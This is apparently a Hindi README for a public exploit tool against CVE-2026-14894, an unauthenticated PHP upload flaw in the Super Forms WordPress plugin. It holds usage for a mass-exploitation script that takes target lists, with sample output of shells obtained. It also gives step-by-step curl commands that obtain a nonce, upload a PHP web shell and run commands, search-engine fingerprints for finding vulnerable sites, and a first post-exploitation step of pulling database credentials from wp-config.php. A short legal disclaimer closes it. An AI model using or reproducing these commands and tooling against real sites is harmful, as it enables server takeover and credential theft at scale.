
Super Forms अप्रमाणित फ़ाइल अपलोड RCE | CVSS 9.8
CVE-2026-14894 Super Forms – Drag & Drop Form Builder WordPress प्लगइन (WebRehab द्वारा) के संस्करण ≤ 6.3.313 में एक गंभीर (CVSS 9.8) अनधिकृत मनमाना फ़ाइल अपलोड भेद्यता है।
super_submit_form nopriv AJAX हैंडलर फ़ॉर्म सबमिशन के माध्यम से फ़ाइल अपलोड स्वीकार करता है:
nonce अवरोध को आसानी से दरकिनार किया जाता है — एक अलग nopriv AJAX हैंडलर (super_create_nonce) किसी भी अनधिकृत विज़िटर के लिए वैध nonce उत्पन्न करता है।
हमलावर Base64-एन्कोडेड datauristring पेलोड के माध्यम से मनमानी PHP फ़ाइलें अपलोड करते हैं जो सीधे /wp-content/uploads/superforms/ में हमलावर-नियंत्रित फ़ाइलनाम के साथ लिखी जाती हैं — जिसके परिणामस्वरूप प्रत्यक्ष कोड निष्पादन होता है।
| संस्करण | स्थिति |
|---|---|
| ≤ 6.3.313 | असुरक्षित |
| 6.3.314+ | पैच किया गया |
सक्रिय स्थापनाएँ: 600,000+
खोजकर्ता: andrea bocchetti Wordfence के माध्यम से (7 जुलाई, 2026)
Super Forms के AJAX फ़ाइल अपलोड हैंडलर में तीन लापता सुरक्षा जाँचें:
// Vulnerable: nopriv AJAX — no auth, no file type validation, no MIME check
add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce'); // nonce for anyone
add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form'); // upload for anyone
function super_submit_form() {
$data = json_decode(stripslashes($_POST['data']), true);
$file = $data['sf_upload_field']['files'][0];
$content = base64_decode($file['datauristring']); // no MIME validation
$name = $file['value']; // no filename sanitization
fwrite(fopen($upload_path . $name, 'w'), $content); // PHP written to disk
}
// Anyone can get a valid nonce — no authentication required
function super_create_nonce() {
$nonce = md5(uniqid(rand(), true));
$_SESSION['sf_nonce'] = $nonce;
echo $nonce; // returned to unauthenticated attacker
}
1. POST /wp-admin/admin-ajax.php?action=super_create_nonce
→ वैध nonce प्राप्त करें (कोई प्रमाणीकरण आवश्यक नहीं)
2. POST /wp-admin/admin-ajax.php?action=super_submit_form
sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{
"datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...",
"value":"shell.php"}]}}
→ शेल /wp-content/uploads/superforms/ में लिखा गया
3. GET /wp-content/uploads/superforms/shell.php?c=id
→ RCE की पुष्टि
git clone https://github.com/shinthink/CVE-2026-14894.git
cd CVE-2026-14894
pip install -r requirements.txt
# एकल लक्ष्य
python cve_2026_14894.py -t target.com
# सामूहिक शोषण
python cve_2026_14894.py -f targets.txt
# सामूहिक शोषण + परिणाम सहेजें
python cve_2026_14894.py -f targets.txt -o shells.txt
# लक्ष्य पर शेल छोड़ें
python cve_2026_14894.py -t target.com --no-cleanup
# डीबग मोड (प्रत्येक अनुरोध दिखाएं)
python cve_2026_14894.py -t target.com --debug
-t, --target एकल लक्ष्य (डोमेन या IP)
-f, --file लक्ष्य सूची, प्रति पंक्ति एक
-o, --output RCE परिणाम फ़ाइल में सहेजें
--threads समवर्ती कार्यकर्ता (डिफ़ॉल्ट: 30)
--no-cleanup लक्ष्य पर शेल छोड़ें
--debug प्रत्येक HTTP अनुरोध + चरण रीयल-टाइम में दिखाएं
-v, --verbose विस्तृत आउटपुट दिखाएं
$ python cve_2026_14894.py -t target.com --debug
Super Forms | CVE-2026-14894 | CVSS 9.8
[target.com] [+] Super Forms पाया गया v6.3.312
[target.com] [*] Nonce प्राप्त हुआ
[target.com] [*] शेल अपलोड हो रहा है...
[target.com] [!] RCE की पुष्टि हुई
होस्ट : target.com
SuperForms : हाँ v6.3.312
अपलोड : हाँ
RCE : हाँ
शेल : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN
आउटपुट : uid=33(www-data) gid=33(www-data)
समय : 2.1s
लक्ष्य: 2500 | थ्रेड: 30
[RCE] target-vuln-01.com 2.1s v6.3.312
[UP] target-patched-02.com 1.8s v6.3.314 (अपलोड अवरुद्ध)
[!] target-no-plugin-03.com 0.5s स्थापित नहीं
[150/2500] 6% | SuperForms:47 Upload:18 RCE:12
───────────────────────────────────────────────────────
समाप्त | 180s | लक्ष्य:2500 Det:47 Upload:18 RCE:12
चरण 1 — nonce प्राप्त करें
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_create_nonce'
# 96-कैरेक्टर हेक्स nonce लौटाता है
चरण 2 — PHP शेल अपलोड करें
NONCE="abc123..."
SHELL_B64=$(echo '<?php system($_GET["c"]); ?>' | base64 -w0)
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_submit_form' \
-d "sf_nonce=$NONCE" \
-d 'form_id=1' \
-d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}'
चरण 3 — कमांड निष्पादित करें
curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id'
body="wp-content/plugins/super-forms"
http.html:"super-forms"
सफल शोषण से वेब सर्वर उपयोगकर्ता के रूप में दूरस्थ कोड निष्पादन प्राप्त होता है। वहाँ से:
wp-config.php निकालें → डेटाबेस क्रेडेंशियल्सकेवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
यह सॉफ़्टवेयर सुरक्षा पेशेवरों के लिए है जो अधिकृत पैठ परीक्षण कर रहे हैं, संगठन अपने स्वयं के बुनियादी ढांचे का ऑडिट कर रहे हैं, और शोधकर्ता भेद्यता शोषण का अध्ययन कर रहे हैं।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और इसका उल्लंघन हो सकता है:
- संयुक्त राज्य अमेरिका: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- इंडोनेशिया: UU ITE Pasal 30 & 46
- यूरोपीय संघ: Directive 2013/40/EU
- यूनाइटेड किंगडम: Computer Misuse Act 1990
लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानते।
| संसाधन | लिंक |
|---|---|
| Wordfence परामर्श |
यह परियोजना WebRehab या Super Forms से संबद्ध नहीं है।
| wordfence.com |
| IONIX परामर्श | ionix.io |
| NVD प्रविष्टि | CVE-2026-14894 |
| शोधकर्ता | andrea bocchetti |